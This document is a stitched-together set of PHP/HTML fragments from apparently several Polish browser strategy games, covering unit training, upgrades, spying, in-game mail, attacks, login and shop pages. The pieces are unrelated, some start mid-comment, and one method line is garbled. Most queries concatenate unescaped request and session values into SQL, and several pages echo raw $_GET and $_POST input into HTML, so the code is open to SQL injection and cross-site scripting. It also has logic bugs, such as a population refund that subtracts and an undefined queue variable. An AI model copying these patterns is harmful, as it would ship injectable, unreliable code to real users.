function przerwij_trening($dane, $kolejka) { //zabezpiecz zmienne //sprawdź czy dany budynek był budowany $wkolejce = mysql_fetch_array(mysql_query("select * from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and kolejka = " . $kolejka)); if (empty($wkolejce)) { return "nie ma takiego zdarzenia"; } else { //pobierz jednostki fx('jednostki'); $jednostki = jednostki(); if (empty($jednostki[$wkolejce['jednostka']])) { return "nie ma takiej jednosti"; } //usuń z kolejki mysql_query("delete from planetx_jednostki_kolejka where planeta_id = " . $dane['aktywna_planeta'] . " and kolejka = " . $kolejka); //zwróć część surowców, populacji trzeba zwrócić zawsze tyle samo mysql_query("\n\t\tupdate planetx_planety\n\t\t\tset metal = (case when metal + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['metal'] * 0.9 . " >= surowce_max then surowce_max else metal + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['metal'] * 0.9 . " end ) ,\n\n\t\t\tkrysztaly = (case when krysztaly + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['krysztaly'] * 0.9 . " >= surowce_max then surowce_max else krysztaly + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['krysztaly'] * 0.9 . " end ),\n\n\t\t\tpaliwo = (case when paliwo + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['paliwo'] * 0.9 . " >= surowce_max then surowce_max else paliwo + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['paliwo'] * 0.9 . " end ),\n\n\t\t\t\n\n\t\t\tpopulacja = (case when populacja + " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['populacja'] . " >= populacja_max then populacja_max else populacja - " . $wkolejce['ilosc'] * $jednostki[$wkolejce['jednostka']]['populacja'] . " end )\n\t\twhere planeta = " . $dane['aktywna_planeta']); //przyspiesz budowanie budynków, jeżeli po tym budynku było coś na końcu kolejki $ile = $wkolejce['koniec'] - time(); mysql_query("update planetx_jednostki_kolejka set start = start - " . $ile . ", koniec = koniec - " . $ile . " where planeta_id = " . $dane['aktywna_planeta'] . " and start > " . $wkolejce['start']); } }
function ulepsz($gracz, $id, $kolejka_technologii) { //zabezpiecz zmienne $id = (int) $id; $tech = row("select \n\t\ttt.technologia,\n\t\ttt.drewno as drewno1, ttm.drewno as drewno2,\n\t\ttt.kamien as kamien1, ttm.kamien as kamien2, \n\t\ttt.zelazo as zelazo1, ttm.zelazo as zelazo2,\n\t\ttt.jedzenie as jedzenie1, ttm.jedzenie as jedzenie2,\n\t\ttt.czas_rozwoju as czas_rozwoju1, ttm.czas_rozwoju as czas_rozwoju2,\n\t\ttt.nazwa, ttm.poziom, tt.max_poziom,\n\t\t(select koniec - " . mktime() . " from tribal_eventy where typ = 2 and podtyp = tt.technologia and miasto_id = " . $gracz['id_miasta'] . ") as w_kolejce\n\tfrom tribal_technologie tt \n\tleft join tribal_technologie_miasta ttm \n\ton tt.technologia = ttm.technologia_id \n\tand ttm.miasto_id = " . $gracz['id_miasta'] . " where tt.technologia = " . $id . " limit 1\n\t"); if (empty($tech)) { $error = "nie ma takiego obiektu"; } else { if (!empty($tech['poziom'])) { $tech['drewno1'] = $tech['drewno2']; $tech['kamien1'] = $tech['kamien2']; $tech['zelazo1'] = $tech['zelazo2']; $tech['jedzenie1'] = $tech['jedzenie2']; $tech['czas_rozwoju1'] = $tech['czas_rozwoju2']; } else { $tech['poziom'] = 0; } if ($tech['drewno1'] > $gracz['dane_miasta']['drewno'] || $tech['kamien1'] > $gracz['dane_miasta']['kamien'] || $tech['zelazo1'] > $gracz['dane_miasta']['zelazo'] || $tech['jedzenie1'] > $gracz['dane_miasta']['jedzenie']) { $error = "nie masz wystarczającej ilości surowców"; } elseif ($tech['poziom'] == $tech['max_poziom']) { $error = "osiągnięto maksymalny poziom"; } elseif ($kolejka == $kolejka_technologii) { $error = "kolejka zajęta"; } elseif (!empty($tech['w_kolejce'])) { $error = "rozwijasz tą naukę"; } else { //dodaj event fx('dodaj_event'); dodaj_event($gracz['id_miasta'], 2, $id, 1, $tech['czas_rozwoju1']); fx('surowce'); surowce($gracz['id_miasta'], -$tech['drewno1'], -$tech['kamien1'], -$tech['zelazo1'], -$tech['jedzenie1'], 0); //zabierz surowce $error = "rozpoczęto budowę"; } } return $error; }
function wyslij_szpiegow($gracz, $cel, $ilu) { //zabezpiecz zmienne $cel = vText($cel); $ilu = (int) $ilu; if ($ilu < 1) { $error = 'wyślij minimum 1 jednostkę'; } else { $ma = one("select ilosc from tribal_jednostki_miasta where jednostka_id = 5 and miasto_id =" . $gracz['id_miasta']); if ($ma < $ilu) { $error = 'nie posiadasz tylu szpiegów'; } else { $vs = row("select * from tribal_miasta where nazwa='" . $cel . "' limit 1"); if (empty($vs)) { $error = 'nie ma takiego miasta'; } elseif ($vs['gracz_id'] == $gracz['gracz']) { $error = 'nie szpieguj swoich miast'; } else { $x = row("select * from tribal_mapa where miasto_id = " . $gracz['id_miasta']); $y = row("select * from tribal_mapa where miasto_id = " . $vs['miasto']); if ($x['x'] != $vs['x'] && $x['y'] == $vs['y']) { $zasieg = abs($vs['x'] - $x['x']) * 300; } elseif ($x['x'] == $vs['x'] && $x['y'] != $vs['y']) { $zasieg = abs($vs['y'] - $x['y']) * 300; } else { $zasieg = floor(sqrt(pow(abs($vs['x'] - $x['x']), 2) + pow(abs($vs['y'] - $x['y']), 2))) * 300; } call("update tribal_jednostki_miasta set ilosc = ilosc - {$ilu} where jednostka_id = 5 and miasto_id =" . $gracz['id_miasta']); fx('dodaj_event'); dodaj_event($gracz['id_miasta'], 20, $vs['miasto'], $ilu, $zasieg); $error = 'wysłano'; } } } return $error; }
case 4: $query = mysql_query($q = "select id, login, data, status from planetx_wiadomosci inner join planetx_gracze on od = gracz where do = " . $gracz['gracz'] . " and typ = 4 order by status asc, id desc"); if (mysql_num_rows($query) > 0) { $echo = "<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<th>Od:</th>\n\t\t\t\t\t<th>Data:</th>\n\t\t\t\t\t<th></th>\n\t\t\t\t</tr>\n\t\t\t\t"; while ($wiadomosc = mysql_fetch_array($query)) { if ($wiadomosc['status'] == 0) { $new = "<br/><span style='color:#339900'>[ nowa ]</span>"; } else { $new = ""; } $opcje = "\n\t\t\t\t\t\t<a href='?akcja=poczta&typ=4&id=" . $wiadomosc['id'] . "&czytaj=1' >[ czytaj ]</a> | \n\t\t\t\t\t\t<a href='?akcja=poczta&typ=4&del=" . $wiadomosc['id'] . "' >[ usuń ]</a> | \n\t\t\t\t\t\t<a href='?akcja=poczta&typ=4&del_all=1' >[ usuń wszystkie ]</a> \n\t\t\t\t\t"; $echo .= "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>" . $wiadomosc['login'] . "</td>\n\t\t\t\t\t\t<td>" . $wiadomosc['data'] . " {$new}</td>\n\t\t\t\t\t\t<td>{$opcje}</td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t\n\t\t\t\t\t"; } $echo .= "</table>"; echo $echo; } else { echo "brak wiadomości"; } break; } } elseif (!empty($_GET['czytaj']) && !empty($_GET['id'])) { $_GET['id'] = (int) $_GET['id']; fx('wiadomosc_czytaj'); $mes = wiadomosc_czytaj($gracz['gracz'], $_GET['id'], $_GET['typ']); echo "\n\t\t\t<div style='width:100%; background:#01498D; color:#000'>\n\t\t\t\t<div style='width:100px; text-align:center; float:left; padding:5px'>\n\t\t\t\t\t<span style='color:#fff;'>" . $mes['login'] . "</span>\n\t\t\t\t</div>\n\t\t\t\t<div style='margin-left:100px; background:#C9C9C9; padding:5px; color:#000'>\n\t\t\t\t\t" . $mes['tekst'] . "\n\t\t\t\t\t<hr/>\n\t\t\t\t\t<a style='color:#000' href='?akcja=poczta&typ=" . $_GET['typ'] . "'>powrót</a> | \n\t\t\t\t\t<a style='color:#000' href='?akcja=poczta&do=" . $mes['login'] . "&nowa=ok'>odpowiedz</a> | \n\t\t\t\t\t<a style='color:#000' href='?akcja=poczta&del=" . $mes['id'] . "&typ=" . $_GET['typ'] . "'>usuń</a>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t\n\n\n\t\t"; } else { echo "brak wiadomości"; } } else { echo $msg . "\n\t<form action='?akcja=poczta&nowa=ok' method='post'>\n\t\tNazwa gracza: <input type='text' name='do' value='" . $_GET['do'] . "'/><br/><br/>\n\t\t<textarea name='tekst' cols=80 rows =6 ></textarea><br/>\n\t\t<input type='submit' value='wyślij wiadomość'/>\n\t</form>\n\t"; }
function main_town($miasto) { fx('usun_event'); $eventy_budynki = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 1 and koniec <= " . time()); if (is_array($eventy_budynki)) { foreach ($eventy_budynki as $wybudowany) { usun_event($wybudowany['event']); call("update tribal_gracze g inner join tribal_miasta on g.gracz = gracz_id set g.punkty = g.punkty + 1 where miasto = " . $miasto); $info = one("select count(*) from tribal_budynki_miasta where miasto_id = {$miasto} and budynek_id = " . $wybudowany['podtyp']); $obiekt = row("select * from tribal_budynki where budynek = " . $wybudowany['podtyp']); if (!empty($info)) { call($q = "update tribal_budynki_miasta set \n\t\t\t\tdrewno = drewno * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100), \n\t\t\t\tkamien = kamien * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tjedzenie = jedzenie * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tzelazo = zelazo * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tpopulacja = populacja * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tczas_budowy = czas_budowy * ((100 + " . $obiekt['wzrost_czasu_budowy'] . " )/100),\n\t\t\t\tpoziom = poziom + 1\n\t\t\t\twhere miasto_id = {$miasto} and budynek_id = \n\t\t\t\t" . $wybudowany['podtyp']); $poziom = 1; } else { call($q = "insert into tribal_budynki_miasta(miasto_id, budynek_id, drewno, kamien, zelazo, jedzenie, populacja, czas_budowy, poziom) value ({$miasto}, " . $wybudowany['podtyp'] . ", " . $obiekt['drewno'] . ", " . $obiekt['kamien'] . ", " . $obiekt['zelazo'] . ", " . $obiekt['jedzenie'] . ", " . $obiekt['populacja'] . ", " . $obiekt['czas_budowy'] . ", 1)"); $poziom = 0; } switch ($wybudowany['podtyp']) { case 1: if ($poziom == 0) { call("update tribal_miasta set drewno_przyrost = drewno_przyrost + 50 where miasto = {$miasto}"); } else { call("update tribal_miasta set drewno_przyrost = drewno_przyrost * 1.2 where miasto = {$miasto}"); } break; case 2: if ($poziom == 0) { call("update tribal_miasta set kamien_przyrost = kamien_przyrost + 50 where miasto = {$miasto}"); } else { call("update tribal_miasta set kamien_przyrost = kamien_przyrost * 1.2 where miasto = {$miasto}"); } break; case 3: if ($poziom == 0) { call("update tribal_miasta set zelazo_przyrost = zelazo_przyrost + 50 where miasto = {$miasto}"); } else { call("update tribal_miasta set zelazo_przyrost = zelazo_przyrost * 1.2 where miasto = {$miasto}"); } break; case 4: if ($poziom == 0) { call("update tribal_miasta set jedzenie_przyrost = jedzenie_przyrost + 50 where miasto = {$miasto}"); } else { call("update tribal_miasta set jedzenie_przyrost = jedzenie_przyrost * 1.2 where miasto = {$miasto}"); } break; case 5: call("update tribal_miasta set populacja_max = populacja_max * 1.3 where miasto = {$miasto}"); break; case 6: call("update tribal_miasta set surowce_max = surowce_max * 1.3 where miasto = {$miasto}"); break; } } } $eventy_technologie = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 2 and koniec <= " . time()); if (is_array($eventy_technologie)) { foreach ($eventy_technologie as $wybudowany) { usun_event($wybudowany['event']); $info = one("select count(*) from tribal_technologie_miasta where miasto_id = {$miasto} and technologia_id = " . $wybudowany['podtyp']); $obiekt = row("select * from tribal_technologie where technologia = " . $wybudowany['podtyp']); if (!empty($info)) { call("update tribal_technologie_miasta set \n\t\t\t\tdrewno = drewno * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100), \n\t\t\t\tkamien = kamien * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tjedzenie = jedzenie * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tzelazo = zelazo * ((100 + " . $obiekt['wzrost_koszt_surowce'] . " )/100),\n\t\t\t\tczas_rozwoju = czas_rozwoju * ((100 + " . $obiekt['wzrost_czasu_budowania'] . " )/100),\n\t\t\t\tpoziom = poziom + 1\n\t\t\t\twhere miasto_id = {$miasto} and technologia_id = \n\t\t\t\t" . $wybudowany['podtyp']); $poziom = 1; } else { call("insert into tribal_technologie_miasta(miasto_id, technologia_id, drewno, kamien, zelazo, jedzenie, czas_rozwoju, poziom) value ({$miasto}, " . $wybudowany['podtyp'] . ", " . $obiekt['drewno'] . ", " . $obiekt['kamien'] . ", " . $obiekt['zelazo'] . ", " . $obiekt['jedzenie'] . ", " . $obiekt['czas_rozwoju'] . ", 1)"); $poziom = 0; } } } $eventy_jednostki = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 3 and koniec <= " . time()); if (is_array($eventy_jednostki)) { foreach ($eventy_jednostki as $wybudowany) { usun_event($wybudowany['event']); $info = one("select count(*) from tribal_jednostki_miasta where miasto_id = {$miasto} and jednostka_id = " . $wybudowany['podtyp']); if (!empty($info)) { call("update tribal_jednostki_miasta set \n\t\t\t\tilosc = ilosc + " . $wybudowany['ilosc'] . "\n\t\t\t\twhere miasto_id = {$miasto} and jednostka_id = \n\t\t\t\t" . $wybudowany['podtyp']); } else { call("insert into tribal_jednostki_miasta(miasto_id, jednostka_id, ilosc) value ({$miasto}, " . $wybudowany['podtyp'] . "," . $wybudowany['ilosc'] . ")"); } } } fx('rozwiaz_armie'); $eventy_ataki_powrot = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 11 and koniec <= " . time()); if (is_array($eventy_ataki_powrot)) { foreach ($eventy_ataki_powrot as $atak) { usun_event($atak['event']); rozwiaz_armie($atak['ilosc']); } } fx('bitwa'); $eventy_bitwy = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 10 and koniec <= " . time()); if (is_array($eventy_bitwy)) { foreach ($eventy_bitwy as $atak) { usun_event($atak['event']); bitwa($atak); } } fx('rozwiaz_szpiegow'); $eventy_szpiedzy_powrot = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 21 and koniec <= " . time()); if (is_array($eventy_szpiedzy_powrot)) { foreach ($eventy_szpiedzy_powrot as $atak) { usun_event($atak['event']); rozwiaz_szpiegow($atak); } } fx('szpiegowanie'); $eventy_szpiegowanie = all("select * from tribal_eventy where miasto_id = {$miasto} and typ = 20 and koniec <= " . time()); if (is_array($eventy_szpiegowanie)) { foreach ($eventy_szpiegowanie as $atak) { usun_event($atak['event']); szpiegowanie($atak); } } }
<div style='margin:10px; text-align:center'> <a href='?akcja=armia'>podgląd</a> | <a href='?akcja=trening'>trening</a> | <a href='?akcja=ataki'>ataki</a> </div> <?php if (!empty($_POST['cel']) && !empty($_POST['jednostki'])) { fx('atakuj'); $error = atakuj($gracz, $_POST['cel'], $_POST['jednostki']); echo $error . "<hr/>"; } if (!empty($_GET['przerwij'])) { fx('przerwij_atak'); $error = przerwij_atak($gracz, $_GET['przerwij']); echo $error . "<hr/>"; } $ataki = mysql_query("select * from planetx_ataki inner join planetx_planety on planeta_id_cel = planeta where planeta_id =" . $gracz['aktywna_planeta']); if (mysql_num_rows($ataki) == 0) { echo "nie wysłano wypraw<hr/>"; } else { echo "\n\t<table>\n\t<tr style='background:#01498D'>\n\t\t<th>cel</th>\n\t\t<th>pozostało</th>\n\t</tr>\n\t"; while ($atak = mysql_fetch_array($ataki)) { $pozostało = $atak['koniec'] - time(); if ($atak['status'] == 0) { $tekst = "armia kieruje się na planetę " . $atak['nazwa']; echo "\n\t\t\t<tr>\n\t\t\t\t<td>" . $tekst . "</td>\n\t\t\t\t<td><span id='a" . $atak['atak'] . "'></span><script type='text/javascript'>liczCzas('a" . $atak['atak'] . "'," . $pozostało . ")</script><a href='?akcja=ataki&przerwij=" . $atak['atak'] . "'>[ x ]</a></td>\n\t\t\t</tr>"; } else { $tekst = "armia powraca z planety " . $atak['nazwa']; echo "\n\t\t\t<tr>\n\t\t\t\t<td>" . $tekst . "</td>\n\t\t\t\t<td><span id='a" . $atak['atak'] . "'></span><script type='text/javascript'>liczCzas('a" . $atak['atak'] . "'," . $pozostało . ")</script></td>\n\t\t\t</tr>"; }
tego pliku nie powinieneś praktycznie w ogóle edytować, by zapewnić działanie strony edytuj tylko listę akcji w zmiennych $akcje_ogolne, $akcje_gracz, $akcje_admin */ //pobierz ustawienia gry require_once 'ustawienia/ustawienia.php'; //pobierz podstawowe funkcje require_once 'funkcje/podstawowe.php'; //start sesji session_start(); //regeneruj graczy fx('regeneruj'); regeneruj($szybkosc, $okres); //dodaj poziom jeżeli trzeba fx('poziom'); poziom(); //jeżeli istnieją dane w sesji to pobierz dane zalogowanego gracza if (!empty($_SESSION['gracz']) && is_numeric($_SESSION['gracz'])) { $gracz = getUser($_SESSION['gracz']); } //jeżeli nie ma danych gracza to ustaw rola = -1 jako niezalogowany if (empty($gracz)) { $gracz['rola'] = -1; } //wybierz domyślny nagłówek strony $top_strony = 'strony/ogolne/top_strony.php'; //wybierz domyślny dół strony $dol_strony = 'strony/ogolne/dol_strony.php'; //lista akcji ogólnych, jeżeli tworzysz nowe to musisz je tu dopisać $akcje_ogolne = array("start", "zaloguj", "rejestracja", "regulamin", "kontakt");
<div class="post" id="post-18"> <h2>Logowanie</h2> <?php if (!empty($_POST)) { if (!empty($_POST['login']) && !empty($_POST['pass'])) { fx('zaloguj'); $msg = zaloguj($_POST['login'], $_POST['pass']); } else { $msg = 'Wypełnij wszystkie pola poprawnie'; } echo "<span style='color:#FF0000; margin-bottom:20px;display:block'>" . $msg . "</span>"; } ?> <form action='?akcja=<?php echo $_GET['akcja']; ?> ' method='post'> <table> <tr> <td>login:</td> <td><input class='input' type='text' name='login' value='<?php echo $_POST['login']; ?> '/></td> </tr> <tr> <td>hasło:</td>
<b>Wyślij wiadomość administracyjną</b> <hr/> <?php if (!empty($_POST['tekst'])) { fx('admin_wiadomosc'); $a = admin_wiadomosc($_POST['tekst']); echo $a . "<hr/>"; } ?> <form action='?akcja=admin_poczta' method='post'> <textarea name='tekst' cols=80 rows =6 ></textarea><br/> <input class='submit' type='submit' value='wyślij'/> </form>
Jeżeli po rozpoczęciu budowy budynku zostawisz te okno otwarte, system będzie próbował rozpocząć ponownie budowę po zakończeniu aktualnej. :) <br> <?php $id = (int) $_GET['id']; $info = row($q = "select bm.poziom as poziom, bm.drewno as bmdrewno, bm.kamien as bmkamien, bm.zelazo as bmzelazo, bm.jedzenie as bmjedzenie, bm.populacja as bmpopulacja, bm.czas_budowy as bmczas_budowy, bm.poziom as bmpoziom, b.* from tribal_budynki b left join tribal_budynki_miasta bm on b.budynek = bm.budynek_id and bm.miasto_id = " . $gracz['id_miasta'] . " where b.budynek = " . $id . " limit 1"); if (empty($info)) { echo "nie ma takiego budynku"; } else { if (isset($_GET['buduj'])) { fx('buduj'); $error = buduj($gracz, $id, $kolejka_budowy); $gracz = getUser($gracz['gracz']); echo $error . "</br/>"; } if (isset($_GET['przerwij'])) { fx('przerwij_budowe'); $error = przerwij_budowe($gracz, $id); $gracz = getUser($gracz['gracz']); echo $error . "</br/>"; } if (!empty($info['poziom'])) { $info['drewno'] = $info['bmdrewno']; $info['kamien'] = $info['bmkamien']; $info['zelazo'] = $info['bmzelazo']; $info['jedzenie'] = $info['bmjedzenie']; $info['populacja'] = $info['bmpopulacja']; $info['poziom'] = $info['bmpoziom']; $info['czas_budowy'] = $info['bmczas_budowy']; } else { $info['poziom'] = 0; } //sprawdzanie opcji
private function dissect($arr) { $map = new Map(); return xM(fx('$x'))->join($arr); }
<h2>Sklep z odzieżą</h2><hr/> <p> <?php if (!empty($_GET['kup'])) { fx('kup_ciuch'); $msg = kup_ciuch($gracz['gracz'], $_GET['kup']); $gracz = getUser($gracz['gracz']); echo "<span style='color:#FF0000; margin-bottom:20px;display:block'>" . $msg . "</span>"; } //pobierz listę $ciuchy = all($q = "select driver_ciuchy.* from driver_ciuchy left join driver_ciuchy_gracze on id = c_id and gracz_id = " . $gracz['gracz'] . " where gracz_id is null order by typ "); //jeżeli w ogóle są ciuchy if (is_array($ciuchy)) { foreach ($ciuchy as $ciuch) { if ($gracz['kasa'] >= $ciuch['cena'] && $gracz['monety'] >= $ciuch['monety']) { $opcja = "<a href='?akcja=sklep&kup=" . $ciuch['id'] . "'>[ kup ]</a>"; } else { $opcja = "nie stać Cię"; } echo "\n\t\t\t<div style=' padding:10px; border:solid 1px #FF0000;'>\n\t\t\t\t<div style='width:134px; float: left'>\n\t\t\t\t\t<img src='sprzet/" . $ciuch['obrazek'] . "' alt='' width='134px'/>\n\t\t\t\t</div>\n\t\t\t\t<table>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Nazwa </td>\n\t\t\t\t\t<td><i><b>" . $ciuch['nazwa'] . "</b></i></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Szybkość </td>\n\t\t\t\t\t<td><b>" . $ciuch['vmax'] . "</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Przyspieszenie </td>\n\t\t\t\t\t<td><b>" . $ciuch['do100'] . "</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Cena </td>\n\t\t\t\t\t<td><b>" . $ciuch['cena'] . "\$</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=right>Monety </td>\n\t\t\t\t\t<td><b>" . $ciuch['monety'] . "</b></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align=center colspan=2><b>{$opcja}</b></td>\n\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t</div>\n\t\t\t"; } } else { echo "nie ma więcej ciuchów do kupienia"; } ?> </p>
<div style='margin:10px; text-align:center'> <a href='?akcja=armia'>podgląd</a> | <a href='?akcja=koszary'>koszary</a> | <a href='?akcja=stajnie'>stajnie</a> | <a href='?akcja=krag'>krąg magów</a> | <a href='?akcja=pomnik'>pomnik</a> | <a href='?akcja=ataki'>ataki</a> </div> <script src="www/jquery.min.js" type="text/javascript"></script> <script src="www/jquery.cluetip.js" type="text/javascript"></script> <script src="www/demo.js" type="text/javascript"></script> <link rel="stylesheet" href="www/jquery.cluetip.css" type="text/css" /> <?php if (!empty($_GET['przerwij'])) { fx('przerwij_trening'); $error = przerwij_trening($gracz, $_GET['przerwij']); echo $error . "<br/>"; } if (!empty($_GET['atakuj'])) { $_GET['atakuj'] = (int) $_GET['atakuj']; $cel = one("select nazwa from tribal_miasta where miasto = " . $_GET['atakuj'] . " limit 1"); } $jednostki = all("select * from tribal_jednostki left join tribal_jednostki_miasta on jednostka = jednostka_id where miasto_id = " . $gracz['id_miasta']); if (!is_array($jednostki)) { echo "nie masz jednostek w armii"; } else { echo "\n\t<form action='?akcja=ataki' method='post'>\n\t<table>\n\t<tr style='background:#CCC8B3'>\n\t\t<th>nazwa</th>\n\t\t<th>ilość</th>\n\t\t<th>poślij</th>\n\t</tr>\n\t\n\t"; /*foreach($jednostki as $jednostka){ echo " <tr style='text-align:center'>
<h3>Arena</h3> <p>Witaj<br>Na arenie możesz rozwijać swoje umiejętności.<br></p> <p> <?php if (isset($_GET['trenuj']) && !empty($_GET['id'])) { fx('trenuj'); $info = trenuj($gracz, $_GET['id']); $gracz = getUser($gracz['gracz']); echo $info; } echo "<ul style='width:200px'>"; if ($gracz['zloto'] >= 100 * $gracz['sila']) { echo "<li style='margin:10px'>Siła: <span style='float:right'>" . $gracz['sila'] . " <a href='?akcja=arena&trenuj&id=1'>[ + ]</a> " . 100 * $gracz['sila'] . "<img src='www/moneta.gif' alt=''/></span>"; } else { echo "<li style='margin:10px'>Siła: <span style='float:right'>" . $gracz['sila'] . " [ - ] " . 100 * $gracz['sila'] . "<img src='www/moneta.gif' alt=''/></span>"; } if ($gracz['zloto'] >= 100 * $gracz['zrecznosc']) { echo "<li style='margin:10px'>Zreczność: <span style='float:right'>" . $gracz['zrecznosc'] . " <a href='?akcja=arena&trenuj&id=2'>[ + ]</a> " . 100 * $gracz['zrecznosc'] . "<img src='www/moneta.gif' alt=''/></span>"; } else { echo "<li style='margin:10px'>Zreczność: <span style='float:right'>" . $gracz['zrecznosc'] . " [ - ] " . 100 * $gracz['zrecznosc'] . "<img src='www/moneta.gif' alt=''/></span>"; } if ($gracz['zloto'] >= 100 * $gracz['wytrzymalosc']) { echo "<li style='margin:10px'>Wytrzymałość: <span style='float:right'>" . $gracz['wytrzymalosc'] . " <a href='?akcja=arena&trenuj&id=3'>[ + ]</a> " . 100 * $gracz['wytrzymalosc'] . "<img src='www/moneta.gif' alt=''/></span>"; } else { echo "<li style='margin:10px'>Wytrzymałość: <span style='float:right'>" . $gracz['wytrzymalosc'] . " [ - ] " . 100 * $gracz['wytrzymalosc'] . "<img src='www/moneta.gif' alt=''/></span>"; } if ($gracz['zloto'] >= 100 * $gracz['wiedza']) { echo "<li style='margin:10px'>Wiedza: <span style='float:right'>" . $gracz['wiedza'] . " <a href='?akcja=arena&trenuj&id=4'>[ + ]</a> " . 100 * $gracz['wiedza'] . "<img src='www/moneta.gif' alt=''/></span>"; } else { echo "<li style='margin:10px'>Wiedza: <span style='float:right'>" . $gracz['wiedza'] . " [ - ] " . 100 * $gracz['wiedza'] . "<img src='www/moneta.gif' alt=''/></span>"; }